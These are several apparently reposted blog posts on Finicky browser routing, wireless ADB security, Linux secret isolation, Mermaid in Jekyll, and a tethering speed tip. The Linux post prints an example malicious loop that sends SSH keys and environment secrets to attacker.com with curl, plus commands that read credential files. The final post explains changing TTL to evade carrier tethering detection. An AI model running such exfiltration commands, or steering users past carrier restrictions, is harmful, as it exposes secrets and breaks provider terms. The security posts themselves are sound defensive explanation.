Forem: dss99911

회사 Chrome, 개인 Brave — 링크 클릭 한 번으로 자동 분기하기 (Finicky)

dss99911 — Wed, 04 Mar 2026 04:22:56 +0000

Slack에서 Jira 링크를 클릭했는데 개인 브라우저에서 열려서 다시 회사 Chrome에 URL을 복사해본 적 있으신가요?

회사 브라우저와 개인 브라우저를 분리해서 쓰는 건 좋은 습관이지만, 매번 링크를 열 때마다 브라우저를 골라야 하는 건 은근히 스트레스입니다.

Finicky를 쓰면, 링크를 클릭하는 것만으로 URL에 따라 올바른 브라우저가 자동으로 열립니다.

Finicky란?

Finicky는 macOS용 오픈소스 브라우저 라우터입니다. 자기 자신을 기본 브라우저로 등록한 뒤, 모든 URL 열기 요청을 가로채서 규칙에 따라 적절한 브라우저로 전달합니다.

flowchart LR
    A["링크 클릭"] --> B["Finicky"]
    B -->|"Jira, AWS, Slack..."| C["Chrome (회사)"]
    B -->|"그 외"| D["Brave (개인)"]

설치

brew install --cask finicky

설치 후 Finicky를 실행하고, 시스템 설정 > 데스크톱 및 Dock > 기본 웹 브라우저에서 Finicky를 선택합니다.

설정

~/.finicky.js 파일을 생성하고 규칙을 작성합니다. 핸들러는 위에서부터 순서대로 매칭되므로, 예외 규칙을 먼저 배치합니다.

// ~/.finicky.js
module.exports = {
  defaultBrowser: "Brave Browser",
  handlers: [
    {
      // 예외: Google Photos는 개인 브라우저로
      match: /.*photos\.google\.com.*/,
      browser: "Brave Browser",
    },
    {
      // 회사 관련 사이트 -> Chrome
      match: [
        // Google Workspace
        /.*docs\.google\.com.*/,
        /.*drive\.google\.com.*/,
        /.*meet\.google\.com.*/,
        /.*calendar\.google\.com.*/,
        /.*mail\.google\.com.*/,
        // Atlassian (Jira, Confluence)
        /.*\.atlassian\.net.*/,
        /.*\.atlassian\.com.*/,
        // AWS
        /.*\.console\.aws\.amazon\.com.*/,
        /.*\.signin\.aws\.amazon\.com.*/,
        // Slack (회사 워크스페이스만)
        /.*mycompany\.slack\.com.*/,
        // 사내 서비스
        /.*\.mycompany\.com.*/,
      ],
      browser: "Google Chrome",
    },
  ],
};

자주 쓰는 패턴

특정 도메인 매칭

/.*\.mycompany\.com.*/     // mycompany.com의 모든 서브도메인
/.*mycompany\.slack\.com.*/  // 회사 Slack만 (개인 Slack 제외)

내부 IP 대역

/.*10\.50\..*/    // 사내망 IP 대역
/.*192\.168\..*/  // 로컬 네트워크

예외 처리 (순서 활용)

Finicky는 첫 번째로 매칭되는 규칙을 적용합니다. 이를 활용해서 "Google 서비스는 Chrome으로, 단 Google Photos만 개인 브라우저로" 같은 예외를 처리할 수 있습니다.

handlers: [
  { match: /.*photos\.google\.com.*/, browser: "Brave Browser" },  // 먼저 매칭
  { match: /.*\.google\.com.*/,       browser: "Google Chrome" },  // 나머지
]

안전한가요?

오픈소스: GitHub에 소스코드 공개 (4k+ stars)
외부 통신 없음: 로컬에서만 동작하며 URL 데이터를 어디에도 전송하지 않음
Homebrew 등록: brew install --cask finicky로 설치 가능
동작 원리가 단순: URL을 받아서 브라우저로 전달하는 것이 전부

결론

회사와 개인 브라우저를 분리해서 쓰고 있다면, Finicky 하나로 "이 링크 어디서 열지?"라는 고민을 완전히 없앨 수 있습니다. 설정 파일 하나면 끝이고, 한번 세팅하면 이후에는 신경 쓸 것이 없습니다.

Originally published at https://dss99911.github.io

Android ADB 무선 디버깅 완전 정리 - 보안 모델과 현실적인 대응 전략

dss99911 — Sun, 25 Jan 2026 12:18:23 +0000

Android 개발을 하다 보면 무선 ADB (adb tcpip / adb connect) 는 한 번 쓰면 다시 케이블로 돌아가기 힘든 기능입니다.

하지만 항상 따라오는 질문이 있습니다.

"이거… 보안적으로 괜찮은가?"

이 글은 단순 사용법을 넘어, ADB 무선 디버깅의 내부 동작 방식과 보안 모델을 끝까지 파본 정리입니다.

1. ADB 무선 디버깅의 두 가지 방식

ADB에는 두 가지 무선 연결 방식이 있습니다.

Legacy 방식 (`adb tcpip`)

adb tcpip 5555
adb connect <IP>:5555

Android 10 이하 기본 방식
Android 11+에서도 호환 유지
USB로 최초 1회 인증 필요
이후 adbd가 TCP 포트(기본 5555) 리슨

Wireless Debugging (Android 11+)

Android 11부터 도입된 새로운 방식입니다.

설정 방법:

개발자 옵션 → 무선 디버깅 활성화
페어링 코드로 기기 페어링 선택
PC에서 adb pair <IP>:<pairing-port> 실행
6자리 페어링 코드 입력
이후 adb connect <IP>:<port> 로 연결

특징:

QR 코드 / 페어링 코드 기반 인증
세션 기반 인증 (네트워크 변경 시 자동 무효화)
보안적으로 더 강함
매번 새로운 포트 번호 할당

두 방식의 비교

flowchart TB
    subgraph Legacy["Legacy (adb tcpip)"]
        L1[USB 연결] --> L2[USB 디버깅 승인]
        L2 --> L3[adb tcpip 5555]
        L3 --> L4[고정 포트 5555 리슨]
        L4 --> L5[adb connect IP:5555]
    end

    subgraph Wireless["Wireless Debugging (Android 11+)"]
        W1[개발자 옵션] --> W2[무선 디버깅 ON]
        W2 --> W3[페어링 코드 생성]
        W3 --> W4[adb pair IP:port]
        W4 --> W5[코드 입력]
        W5 --> W6[adb connect IP:port]
    end

    Legacy --> |재부팅 시| OFF1[연결 해제]
    Wireless --> |네트워크 변경 시| OFF2[자동 무효화]

Note: 샤오미(MIUI / HyperOS)는 핫스팟 ON 시 Wireless Debugging을 비활성화하는 경우가 많아 현실적으로 adb tcpip만 가능한 경우가 있습니다.

2. adb tcpip 포트는 언제 열리는가?

아주 중요한 사실:

adb tcpip 포트는 USB로 이미 신뢰된 상태에서만 열 수 있습니다

sequenceDiagram
    participant PC
    participant Android

    Note over PC,Android: USB 연결 필요
    PC->>Android: USB 연결
    Android->>PC: RSA 키 인증 요청
    PC->>Android: 공개키 전송
    Android->>Android: 사용자 승인 팝업
    Android->>PC: 승인 완료

    Note over PC,Android: 이제 tcpip 가능
    PC->>Android: adb tcpip 5555
    Android->>Android: adbd가 TCP 5555 리슨 시작
    PC->>Android: adb connect IP:5555
    Android->>PC: 연결 성공 (이미 승인된 키)

이건 의도된 보안 설계입니다:

USB 연결 없이 단말 단독으로 포트 개방 불가
Wi-Fi만 연결된 상태에서 adb tcpip 실행 불가
USB 연결 + USB debugging 승인 필수

3. Android IP 주소 알아내는 방법

방법 1. 설정 화면 (가장 쉬움)

설정 → Wi-Fi 이동
현재 연결된 네트워크 선택
IP 주소 확인

예시:

192.168.0.23
10.16.8.147

방법 2. adb 명령어 (USB 연결 상태)

# Wi-Fi 연결 시
adb shell ip addr show wlan0

# 핫스팟 사용 중일 때
adb shell ip addr show ap0

네트워크 인터페이스 정리

인터페이스	의미	ADB 연결 가능
`wlan0`	Wi-Fi	O
`ap0`	핫스팟	O
`ccmni`, `rmnet`	LTE/5G	X

4. ADB 인증 모델 이해하기

RSA 키 기반 인증

ADB는 항상 RSA 키 기반 인증을 사용합니다.

flowchart LR
    subgraph PC["PC (~/.android/)"]
        PK[adbkey<br/>개인키]
        PUB[adbkey.pub<br/>공개키]
    end

    subgraph Android["Android"]
        AUTH[승인된 공개키 목록<br/>/data/misc/adb/adb_keys]
    end

    PUB -->|최초 USB 연결 시<br/>사용자 승인| AUTH
    PK -->|연결 시 서명| AUTH

핵심:

PC: ~/.android/adbkey (개인키), adbkey.pub (공개키)
Android: /data/misc/adb/adb_keys에 승인된 공개키 저장
키가 없으면 연결 자체가 거절됨

포트가 열려 있어도 이미 승인된 PC 키가 없으면 접근 불가합니다.

PC 허용은 언제 일어나는가?

PC 허용 팝업은 딱 두 경우에만 표시됩니다:

USB debugging 최초 연결 시
Wireless Debugging 페어링 시

adb tcpip를 통한 무선 연결 시에는 새 PC에 대한 승인 팝업이 절대 뜨지 않습니다. 이미 승인된 키만 허용됩니다.

악성 스크립트 시나리오

flowchart TB
    subgraph Attacker["공격 시나리오"]
        NEW[새로운 adb key로<br/>연결 시도] --> |폰에 키 없음| FAIL[연결 실패]
        STOLEN[이미 승인된 key<br/>탈취 후 시도] --> |키 존재| SUCCESS[연결 성공]
    end

    SUCCESS --> RISK[위험: PC 측 키 관리가 본질]

결론: 보안의 본질은 PC 측 키 관리입니다.

5. 보안적으로 위험한 상황 분석

일반적인 카페 Wi-Fi

Client isolation 대부분 ON
같은 SSID여도 단말 간 통신 불가
현실적 위험도 낮음

이론적으로 위험해지는 조건

아래 조건이 모두 만족되어야 위험합니다:

flowchart TB
    C1[1. 같은 로컬 네트워크] --> AND{AND}
    C2[2. 5555 포트 열림] --> AND
    C3[3. 공격자가 adb client 보유] --> AND
    C4[4. 이미 승인된 adb key 탈취] --> AND
    AND --> ATTACK[타겟 공격 성공]

    style C4 fill:#ff6b6b

4번 조건이 핵심입니다. 무작위 공격이 아니라 타겟 공격 수준의 조건입니다.

열린 포트 확인 방법

# 특정 포트가 열려있는지 확인
nmap -p 5555 <target-ip>

# 또는 netcat으로
nc -zv <target-ip> 5555

6. 무선 ADB 연결 종료 방법

가장 확실한 방법

adb usb

이 명령은 adbd를 USB 모드로 전환하여 TCP 리스닝을 중단합니다.

대안

방법	효과
`adb usb` 실행	확실함
USB debugging OFF	확실함
단말 재부팅	확실함
Wi-Fi OFF	불충분
비행기 모드	불충분

주의: Wi-Fi를 끄거나 비행기 모드로 전환해도, 다시 같은 네트워크에 연결하면 포트가 여전히 열려 있을 수 있습니다.

7. ADB Key 관리 전략

기본 키 위치

~/.android/
├── adbkey        (개인키)
└── adbkey.pub    (공개키)

참고: adb는 macOS Keychain이나 Windows Credential Manager를 직접 사용하지 않습니다. adb --key 같은 옵션도 없으며, 키는 파일 기반으로만 로드됩니다.

전략 1: root-only + sudo adb

adbkey 파일을 root 권한으로만 접근 가능하게 설정:

# 키 파일을 root 소유로 변경
sudo chown root:wheel ~/.android/adbkey
sudo chmod 600 ~/.android/adbkey

# adb 실행 시 sudo 필요
sudo adb devices

차단되는 것:

유저 권한 악성 스크립트
npm / pip post-install 스크립트
IDE 플러그인

한계:

sudo 권한을 가진 코드는 막을 수 없음
하지만 이는 잘못된 위협 모델 - root 권한 코드를 막으려면 다른 보안 레이어 필요

전략 2: Keychain + wrapper 스크립트

현실적인 우회 설계:

adbkey를 암호화해 Keychain에 보관
adb 실행 직전에만 키 파일 복원
adb 실행 후 즉시 삭제

#!/bin/bash
# adb-secure wrapper 예시

# Keychain에서 키 복원
security find-generic-password -s "adbkey" -w > ~/.android/adbkey

# adb 실행
/usr/local/bin/adb "$@"

# 키 삭제
rm ~/.android/adbkey

효과:

자동 실행 악성 스크립트 차단
무의식적 adb 호출 방지

한계:

키가 풀린 짧은 시간 동안은 같은 유저 권한 코드 접근 가능

8. 현실적인 최종 권장안

개인 개발자 기준 최적 균형

flowchart TB
    subgraph Daily["일상적인 보안"]
        D1[USB debugging은<br/>필요할 때만 ON]
        D2[무선 ADB는<br/>작업 중에만 활성화]
        D3[작업 끝나면<br/>adb usb 실행]
    end

    subgraph Advanced["추가 보안"]
        A1[adb key를<br/>root-only로 설정]
        A2[또는 wrapper로<br/>필요시에만 키 활성화]
        A3[가끔 USB 디버깅<br/>승인 철회]
    end

    Daily --> Advanced

정리

항목	권장 사항
USB debugging	필요할 때만 ON
무선 ADB	작업할 때만 `adb tcpip`
작업 종료	`adb usb` 실행
adb key	root-only 또는 wrapper 사용
정기 점검	USB 디버깅 승인 목록 확인 및 철회

승인된 PC 목록 초기화

개발자 옵션 → USB 디버깅 승인 철회 메뉴에서 모든 승인된 PC를 한 번에 철회할 수 있습니다.

마무리

adb tcpip는 위험해서 피해야 할 기능이 아니라, 위협 모델을 정확히 이해하고 쓰면 충분히 안전한 도구입니다.

보안은 기능을 피하는 것이 아니라, 위험을 이해하고 적절히 관리하는 것입니다.

참고 자료

Originally published at https://dss99911.github.io

Linux 서버 보안 모델 완벽 가이드 - 시크릿 관리와 프로세스 격리

dss99911 — Sun, 25 Jan 2026 05:02:00 +0000

한 줄 요약

Linux는 "같은 유저 = 같은 권한"이 기본이다. 앱별 시크릿 격리는 OS가 기본 제공하지 않으므로, systemd + 별도 유저 + sudo 승인 조합으로 직접 설계해야 한다.

들어가며: AI 시대, 서버 보안이 더 중요해진 이유

AI 에이전트(Claude Code, GitHub Copilot Workspace 등)를 서버에서 활용하는 시대가 되었다. AI는 코드 작성, 파일 수정, 명령어 실행 등 거의 모든 것을 자율적으로 수행할 수 있다.

이것은 양날의 검이다:

AI 에이전트가 할 수 있는 것:
├── 코드 작성 및 수정
├── 파일 시스템 접근
├── 명령어 실행
├── 네트워크 요청
└── ... 사실상 유저가 할 수 있는 모든 것

문제는 악성 스크립트도 마찬가지라는 것이다.

인지되지 않은 백그라운드 스크립트의 위험

서버에서 다음과 같은 스크립트가 돌고 있다면?

# 어딘가에서 설치된 악성 스크립트
while true; do
    # SSH 키 탈취
    curl -X POST https://attacker.com/collect \
        -d "$(cat ~/.ssh/id_rsa)"

    # 환경변수의 시크릿 탈취
    curl -X POST https://attacker.com/collect \
        -d "$(env | grep -i key)"

    sleep 3600
done

이런 스크립트는:

ps aux에 수상해 보이지 않는 이름으로 위장 가능
cron, systemd timer, 또는 다른 서비스에 숨어서 실행
같은 유저 권한이면 모든 시크릿 접근 가능

AI를 활용하면서 보안에 소홀하면, AI의 강력한 능력이 공격자에게도 열리는 셈이다.

이 글에서 다루는 것

Linux 서버에서:

왜 기본 설정으로는 보안이 취약한지
시크릿을 안전하게 관리하는 방법
AI 에이전트가 작업하면서도 보안을 유지하는 방법

1. Linux vs macOS 보안 철학 비교

macOS: 앱별 권한 세분화

┌─────────────────────────────────────┐
│         TCC (Transparency,          │
│      Consent, and Control)          │
├─────────────────────────────────────┤
│  Keychain: 앱별 접근 권한 설정 가능  │
│  "이 앱에 Keychain 접근 허용?"       │
├─────────────────────────────────────┤
│      Gatekeeper, Sandbox 등         │
└─────────────────────────────────────┘

앱별로 카메라, 마이크, 파일 접근 권한 분리
Keychain 항목에 "이 앱만 접근" 설정 가능
실행 후에도 세밀한 통제 가능

Linux: 유저/그룹 기반 권한

┌─────────────────────────────────────┐
│       root (UID 0) - 모든 권한       │
├─────────────────────────────────────┤
│     일반 유저 (UID 1000+)            │
│     - 같은 UID = 같은 권한           │
│     - 앱별 구분 없음                 │
├─────────────────────────────────────┤
│        파일 권한 (rwx)               │
└─────────────────────────────────────┘

같은 유저로 실행되는 모든 프로세스는 동등한 권한
"이 앱만 접근" 같은 앱별 권한 제어 기본 미제공
실행 전 신뢰 확보가 핵심

철학 차이 요약

항목	macOS	Linux
권한 단위	앱별	유저별
시크릿 접근	앱별 승인 팝업	파일 권한
보안 전략	실행 후 통제	실행 전 검증
악성 앱 대응	권한 거부 가능	실행 자체 방지 필요

2. Linux 보안의 핵심 한계

같은 유저 = 같은 권한

# hyun 유저로 실행되는 모든 프로세스는:
- ~/.ssh/* 읽기 가능
- 환경변수 접근 가능
- 같은 유저의 파일 모두 접근 가능

악성 스크립트가 hyun 유저로 실행되면:

# 이 모든 것이 가능
cat ~/.ssh/id_rsa
cat ~/.aws/credentials
env | grep API_KEY

GNOME Keyring도 앱별 격리 없음

macOS Keychain과 달리:

세션 잠금 해제되면 모든 앱이 접근 가능
"이 앱만 허용" 설정 없음

EC2 기본 설정의 문제

# EC2 ubuntu 유저 기본 설정
ubuntu ALL=(ALL) NOPASSWD:ALL

sudo 비밀번호 없이 root 권한 획득 가능 = 악성 스크립트에게 무방비

3. 실용적인 보안 전략

전략 1: 시크릿 파일 권한 설정 (기본)

# 시크릿 파일 생성
sudo mkdir /etc/secrets
sudo chmod 700 /etc/secrets

# API 키 저장
sudo sh -c 'echo "your-api-key" > /etc/secrets/api_key'
sudo chmod 600 /etc/secrets/api_key
sudo chown root:root /etc/secrets/api_key

root만 읽기 가능
일반 유저 프로세스는 접근 불가
단점: 앱 실행 시 sudo 필요

전략 2: systemd LoadCredential (권장)

# /etc/systemd/system/myapp.service
[Unit]
Description=My Application

[Service]
User=myapp
Group=myapp

# 시크릿 주입 - root 소유 파일도 서비스에 전달 가능
LoadCredential=api_key:/etc/secrets/api_key

# 서비스 내에서 $CREDENTIALS_DIRECTORY/api_key로 접근
ExecStart=/usr/bin/myapp

# 추가 보안 옵션
ProtectHome=true
ProtectSystem=strict
PrivateTmp=true
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

동작 방식:

1. systemd가 서비스 시작 시 /etc/secrets/api_key 읽음
2. /run/credentials/myapp.service/api_key에 복사
3. 디렉토리 권한을 myapp 유저로 설정
4. 다른 서비스/프로세스는 접근 불가
5. 서비스 종료 시 삭제

앱 내에서 접근:

# Python 예시
import os

credentials_dir = os.environ.get('CREDENTIALS_DIRECTORY')
with open(f'{credentials_dir}/api_key') as f:
    api_key = f.read().strip()

전략 3: 서비스별 전용 유저

# 서비스 전용 유저 생성 (로그인 불가)
sudo useradd -r -s /bin/false myapp

# 각 서비스마다 별도 유저
sudo useradd -r -s /bin/false payment-service
sudo useradd -r -s /bin/false notification-service

장점:

한 서비스가 털려도 다른 서비스 시크릿은 안전
서비스 간 격리

전략 4: sudo 비밀번호 필수화

sudo visudo

# 변경 전 (EC2 기본)
ubuntu ALL=(ALL) NOPASSWD:ALL

# 변경 후
ubuntu ALL=(ALL) ALL

# 또는 특정 명령만 NOPASSWD
ubuntu ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart myapp
ubuntu ALL=(ALL) NOPASSWD: /usr/bin/journalctl

효과:

악성 스크립트가 sudo 사용 불가
사용자 비밀번호 입력 = 명시적 승인

전략 5: TTY 필수 설정

sudo visudo

# 추가
Defaults requiretty

백그라운드 프로세스의 sudo 사용 차단
터미널에서만 sudo 가능

4. 실전 시나리오: AI 에이전트 서버 보안

AI 에이전트(Claude Code, Cursor, Copilot 등)가 서버에서 자율적으로 작업하는 환경이 늘어나고 있다. 이때 보안 설계가 특히 중요하다.

AI 에이전트의 특수성

기존 개발 환경:
- 개발자가 직접 명령어 입력
- 실행 전 검토 가능
- 의도하지 않은 동작 = 개발자 실수

AI 에이전트 환경:
- AI가 자율적으로 명령어 실행
- 수많은 작업을 빠르게 수행
- 의도하지 않은 동작 = AI 오류 또는 취약점 악용

AI가 강력할수록 보안이 뚫렸을 때 피해도 크다. AI에게 권한을 줄 때는 더욱 신중해야 한다.

요구사항

AI 에이전트가 자율적으로 작업 수행
특정 시크릿(API 키 등) 접근 필요
악성 스크립트가 시크릿 탈취 불가능해야 함
사용자가 명시적으로 승인한 경우에만 민감한 작업 수행

해결책: sudo + 전용 유저 + LoadCredential

# 1. Claude 전용 유저 생성
sudo useradd -r -m -s /bin/bash claude-runner

# 2. 시크릿 설정 (root만 접근)
sudo mkdir -p /etc/secrets/claude
sudo chmod 700 /etc/secrets/claude
sudo sh -c 'echo "api-key-here" > /etc/secrets/claude/api_key'
sudo chmod 600 /etc/secrets/claude/api_key

# 3. Claude 실행 스크립트
sudo tee /opt/run-claude.sh << 'EOF'
#!/bin/bash
# 시크릿 로드
export API_KEY=$(cat /etc/secrets/claude/api_key)

# claude-runner 유저로 실행
sudo -u claude-runner --preserve-env=API_KEY claude "$@"
EOF

sudo chmod 755 /opt/run-claude.sh

실행 흐름:

사용자 → sudo /opt/run-claude.sh → 비밀번호 입력 (승인)
                ↓
         시크릿 로드 (root 권한)
                ↓
         claude-runner로 전환
                ↓
         Claude 실행 (시크릿은 환경변수로만)

보안 효과:

공격 시나리오	결과
악성 스크립트가 시크릿 파일 읽기	실패 (root 소유)
악성 스크립트가 sudo 시도	실패 (비밀번호 없음)
악성 스크립트가 Claude 프로세스 메모리 접근	실패 (다른 유저)
사용자가 직접 실행	성공 (비밀번호 승인)

5. AWS 환경 시크릿 관리

EC2 IAM Role의 한계

# 인스턴스의 모든 프로세스가 접근 가능
aws secretsmanager get-secret-value --secret-id my-secret

IAM Role은 인스턴스 단위 권한이므로 프로세스별 격리 불가.

해결책: 서비스별 격리

환경	격리 수준	방법
EC2 단일 인스턴스	인스턴스 단위	systemd + 별도 유저 조합
ECS	컨테이너 단위	Task Role
Lambda	함수 단위	Execution Role
EKS	Pod 단위	IRSA (IAM Roles for Service Accounts)

프로세스별 격리가 필요하면 ECS/EKS 권장.

AWS Secrets Manager + LoadCredential 조합

# 부팅 시 시크릿 다운로드 (root로 실행)
aws secretsmanager get-secret-value \
  --secret-id prod/api-key \
  --query SecretString \
  --output text > /etc/secrets/api_key

chmod 600 /etc/secrets/api_key

# systemd 서비스
[Service]
LoadCredential=api_key:/etc/secrets/api_key

6. 백그라운드 프로세스 모니터링

인지되지 않은 스크립트 탐지

서버에 어떤 프로세스가 돌고 있는지 정기적으로 확인해야 한다.

# 현재 실행 중인 프로세스 확인
ps aux --sort=-%mem | head -20

# 네트워크 연결 중인 프로세스
ss -tulnp

# 최근 설치된 cron job
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -u $user -l 2>/dev/null
done

# systemd timer 확인
systemctl list-timers --all

# 최근 수정된 실행 파일
find /usr/local/bin /opt -type f -mtime -7 -executable

수상한 징후

주의해야 할 패턴:
├── 알 수 없는 이름의 프로세스
├── 비정상적인 네트워크 연결 (특히 아웃바운드)
├── 숨겨진 디렉토리의 실행 파일 (.hidden/)
├── base64 인코딩된 명령어 실행
└── 비정상적인 시간대의 cron job

자동화된 모니터링

# 프로세스 모니터링 도구 설치
sudo apt install auditd

# 파일 무결성 검사
sudo apt install aide
sudo aideinit

AI 에이전트를 사용할수록, 서버에서 무엇이 실행되고 있는지 파악하는 것이 중요하다.

7. 보안 체크리스트

서버 기본 설정

[ ] SSH 패스워드 인증 비활성화
[ ] SSH 키 인증만 허용
[ ] root 직접 로그인 차단
[ ] 방화벽 필수 포트만 오픈
[ ] 자동 보안 패치 (unattended-upgrades)
[ ] fail2ban 설치

시크릿 관리

[ ] 시크릿 파일 chmod 600, chown root:root
[ ] systemd LoadCredential 사용
[ ] 서비스별 전용 유저 분리
[ ] sudo 비밀번호 필수화
[ ] 환경변수보다 파일 마운트 선호 (Docker)

프로세스 격리

[ ] 서비스별 별도 유저
[ ] systemd 보안 옵션 활용 (ProtectHome, PrivateTmp 등)
[ ] 민감한 서비스는 Docker/컨테이너로 격리

8. 결론

AI 시대의 Linux 보안 원칙

실행 전 신뢰 확보: 신뢰할 수 있는 코드만 실행
최소 권한 원칙: AI 에이전트에게도 필요한 권한만 부여
격리: 서비스별 유저 분리, 컨테이너 활용
승인 게이트: sudo 비밀번호로 명시적 승인
모니터링: 백그라운드에서 무엇이 실행되는지 파악

AI 에이전트 활용 시 핵심 포인트

AI가 강력할수록 보안이 중요하다.
├── AI가 할 수 있는 것 = 악성 스크립트도 할 수 있는 것
├── 시크릿 접근은 명시적 승인 필요
├── 백그라운드 프로세스 정기 점검
└── 의심스러운 것은 격리 후 실행

macOS vs Linux 최종 비교

macOS: "실행해도 될까요?" (런타임 승인)
Linux: "이 코드 신뢰해?" (실행 전 검증)

Linux는 macOS처럼 "앱별 시크릿 접근 승인" UI가 없지만, systemd LoadCredential + 서비스 전용 유저 + sudo 비밀번호 조합으로 동등한 보안 수준을 달성할 수 있다.

핵심은 시스템 설계:

시크릿 접근 = root 권한 필요
서비스 등록 = root 권한 필요 (관리자 승인)
실행 = sudo 비밀번호 (사용자 승인)
모니터링 = 인지되지 않은 프로세스 탐지

이 구조가 곧 "이 앱에 시크릿 접근을 허용하시겠습니까?"와 같은 역할을 한다.

AI를 100% 활용하면서도 보안을 유지하려면, 처음부터 보안을 고려한 시스템 설계가 필수다.

Originally published at https://dss99911.github.io

Jekyll 블로그에 Mermaid 다이어그램 추가하기

dss99911 — Mon, 19 Jan 2026 20:18:22 +0000

기술 블로그를 운영하다 보면 아키텍처, 플로우차트, 시퀀스 다이어그램 등을 그려야 할 때가 많습니다. 이미지 파일을 별도로 만들어 첨부하는 방식은 번거롭고 수정도 어렵습니다. Mermaid.js를 사용하면 마크다운 코드 블록 안에서 텍스트로 다이어그램을 정의하고, 이를 자동으로 렌더링할 수 있습니다.

Mermaid란?

Mermaid는 텍스트 기반 다이어그램 생성 도구입니다. 마크다운과 유사한 문법으로 다양한 다이어그램을 만들 수 있습니다.

지원하는 다이어그램 종류:

Flowchart (플로우차트)
Sequence Diagram (시퀀스 다이어그램)
Class Diagram (클래스 다이어그램)
State Diagram (상태 다이어그램)
Entity Relationship Diagram (ERD)
Gantt Chart (간트 차트)
Pie Chart (파이 차트)
그 외 다수

Jekyll에 Mermaid 설정하기

1. head.html에 스크립트 추가

_includes/head.html 파일에 다음 코드를 추가합니다:

<!-- Mermaid Diagram Support -->
<script type="module">
  import mermaid from 'https://cdn.jsdelivr.net/npm/mermaid@10/dist/mermaid.esm.min.mjs';
  mermaid.initialize({ startOnLoad: false });

  // Convert Jekyll code blocks to mermaid diagrams
  document.addEventListener('DOMContentLoaded', function() {
    document.querySelectorAll('pre code.language-mermaid, div.language-mermaid pre code').forEach(function(codeBlock) {
      const container = codeBlock.closest('div.language-mermaid') || codeBlock.parentElement;
      const pre = document.createElement('pre');
      pre.className = 'mermaid';
      pre.textContent = codeBlock.textContent;
      container.replaceWith(pre);
    });
    mermaid.run();
  });
</script>

이 스크립트는:

Mermaid 라이브러리를 CDN에서 로드합니다
Jekyll이 생성하는 코드 블록(language-mermaid)을 찾아 Mermaid가 인식할 수 있는 형태로 변환합니다
페이지 로드 완료 후 다이어그램을 렌더링합니다

사용 방법

마크다운 파일에서 mermaid 코드 블록을 사용하면 됩니다:

```

mermaid
graph TD
    A[시작] --> B{조건 확인}
    B -->|Yes| C[처리]
    B -->|No| D[종료]
    C --> D


```
```

`

**결과:**

```mermaid
graph TD
    A[시작] --> B{조건 확인}
    B -->|Yes| C[처리]
    B -->|No| D[종료]
    C --> D
```

---

## 다이어그램 예제

### Flowchart (플로우차트)

방향 옵션: `TB` (위→아래), `BT` (아래→위), `LR` (왼쪽→오른쪽), `RL` (오른쪽→왼쪽)

```mermaid
graph LR
    A[사용자 요청] --> B[API Gateway]
    B --> C[인증 서버]
    C --> D{인증 성공?}
    D -->|Yes| E[서비스 처리]
    D -->|No| F[401 에러]
    E --> G[응답 반환]
```

**노드 모양:**
- `[텍스트]` - 사각형
- `(텍스트)` - 둥근 모서리
- `{텍스트}` - 마름모 (조건)
- `((텍스트))` - 원
- `[[텍스트]]` - 서브루틴

---

### Sequence Diagram (시퀀스 다이어그램)

```mermaid
sequenceDiagram
    participant U as User
    participant C as Client
    participant S as Server
    participant DB as Database

    U->>C: 로그인 요청
    C->>S: POST /api/login
    S->>DB: 사용자 조회
    DB-->>S: 사용자 정보
    S-->>C: JWT 토큰
    C-->>U: 로그인 성공
```

**화살표 종류:**
- `->` : 실선
- `-->` : 점선
- `->>` : 실선 + 화살표
- `-->>` : 점선 + 화살표

---

### Class Diagram (클래스 다이어그램)

```mermaid
classDiagram
    class User {
        +String name
        +String email
        +login()
        +logout()
    }
    class Order {
        +int orderId
        +Date orderDate
        +calculate()
    }
    class Product {
        +String name
        +float price
    }

    User "1" --> "*" Order : places
    Order "*" --> "*" Product : contains
```

---

### State Diagram (상태 다이어그램)

```mermaid
stateDiagram-v2
    [*] --> Idle
    Idle --> Processing : 요청 수신
    Processing --> Success : 처리 완료
    Processing --> Error : 처리 실패
    Success --> [*]
    Error --> Idle : 재시도
```

---

### ERD (Entity Relationship Diagram)

```mermaid
erDiagram
    USER ||--o{ ORDER : places
    ORDER ||--|{ ORDER_ITEM : contains
    PRODUCT ||--o{ ORDER_ITEM : "ordered in"

    USER {
        int id PK
        string name
        string email
    }
    ORDER {
        int id PK
        int user_id FK
        date created_at
    }
    PRODUCT {
        int id PK
        string name
        decimal price
    }
```

---

### Gantt Chart (간트 차트)

```mermaid
gantt
    title 프로젝트 일정
    dateFormat  YYYY-MM-DD
    section 기획
    요구사항 분석    :a1, 2026-01-01, 7d
    설계 문서 작성   :a2, after a1, 5d
    section 개발
    백엔드 개발      :b1, after a2, 14d
    프론트엔드 개발  :b2, after a2, 14d
    section 테스트
    통합 테스트      :c1, after b1, 7d
```

---

### Pie Chart (파이 차트)

```mermaid
pie title 기술 스택 비율
    "JavaScript" : 40
    "Python" : 30
    "Java" : 20
    "기타" : 10
```

---

## 테마 설정

Mermaid는 다양한 테마를 지원합니다. `mermaid.initialize()`에서 설정할 수 있습니다:

```javascript
mermaid.initialize({
  startOnLoad: false,
  theme: 'dark'  // default, dark, forest, neutral
});
```

---

## 마무리

Mermaid를 사용하면 복잡한 다이어그램도 텍스트로 쉽게 작성할 수 있습니다. Git으로 버전 관리가 되고, 수정도 간편합니다. 기술 문서나 블로그 포스트에 적극 활용해보세요.

**참고 자료:**
- [Mermaid 공식 문서](https://mermaid.js.org/intro/)
- [Mermaid Live Editor](https://mermaid.live/) - 실시간 미리보기

---
*Originally published at [https://dss99911.github.io](https://dss99911.github.io/frontend/common/2026/01/20/mermaid-diagram-jekyll.html)*

Fix Slow MacBook Internet on Android Hotspot (Bypass Carrier Throttling: TTL & APN Settings)

dss99911 — Fri, 16 Jan 2026 07:02:36 +0000

Fix Slow MacBook Internet on Android Hotspot

Have you ever experienced your MacBook barely loading Google while your Android phone's internet works perfectly fine on the same hotspot?

It's not a device issue. There's a 99% chance it's due to your carrier's 'tethering data speed throttling (QoS)'. Even with unlimited data plans, carriers often throttle tethering speeds to 200-400Kbps after you've used your tethering data allowance - making your MacBook practically unusable.

Today, I'll share 2 tips to bypass carrier detection and use hotspot at full phone speed by tweaking some settings on your Mac and Android. (It's safe, don't worry!)

Method 1: Change TTL Value on Mac (Most Effective)

Carriers detect whether data is coming from your phone directly or from a connected laptop by checking the TTL (Time To Live) value. Let's disguise your Mac's traffic to look like phone traffic.

1. Open Terminal

Press Command + Space to open Spotlight and search for Terminal.

2. Check Current TTL Value (Optional)

Run this command:

sysctl net.inet.ip.ttl

If the result is 64, your carrier can easily detect tethering.

